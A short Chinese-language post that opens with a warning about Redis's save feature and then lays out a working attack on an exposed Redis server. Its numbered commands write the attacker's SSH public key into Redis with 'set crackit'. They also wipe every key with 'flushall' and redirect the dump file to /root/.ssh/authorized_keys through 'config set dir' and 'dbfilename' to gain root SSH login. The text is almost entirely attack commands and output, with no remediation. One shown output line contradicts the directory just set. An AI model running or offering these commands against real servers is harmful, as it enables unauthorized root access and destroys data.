redis是现在很常用的cache工具,他的save功能也是冗灾数据持久化常用的命令,
但是如果使用不当的话也会带来致命的问题。
======下面是攻击过程==========
ssh-keygen -t rsa 生成秘钥 root/.ssh/下面的.pud
1. 事先先准备好自己的公钥,写入一个本地文件foo.txt。
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
2. 通过redis将该文件写入内存
$ redis-cli -h 192.168.1.11 flushall //删除所有key
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
3. 利用redis-cli 写入配置的方式将公钥写入到.ssh目录下
$ redis-cli -h 192.168.1.11
192.168.1.11:6379> config set dir /root/.ssh/
OK
192.168.1.11:6379> config get dir
1) "dir"
2) "/Users/antirez/.ssh"
192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
192.168.1.11:6379> save
OK
4.然后就可以通过自己的私钥登陆服务器
.ssh700权限 authorized_keys 600
===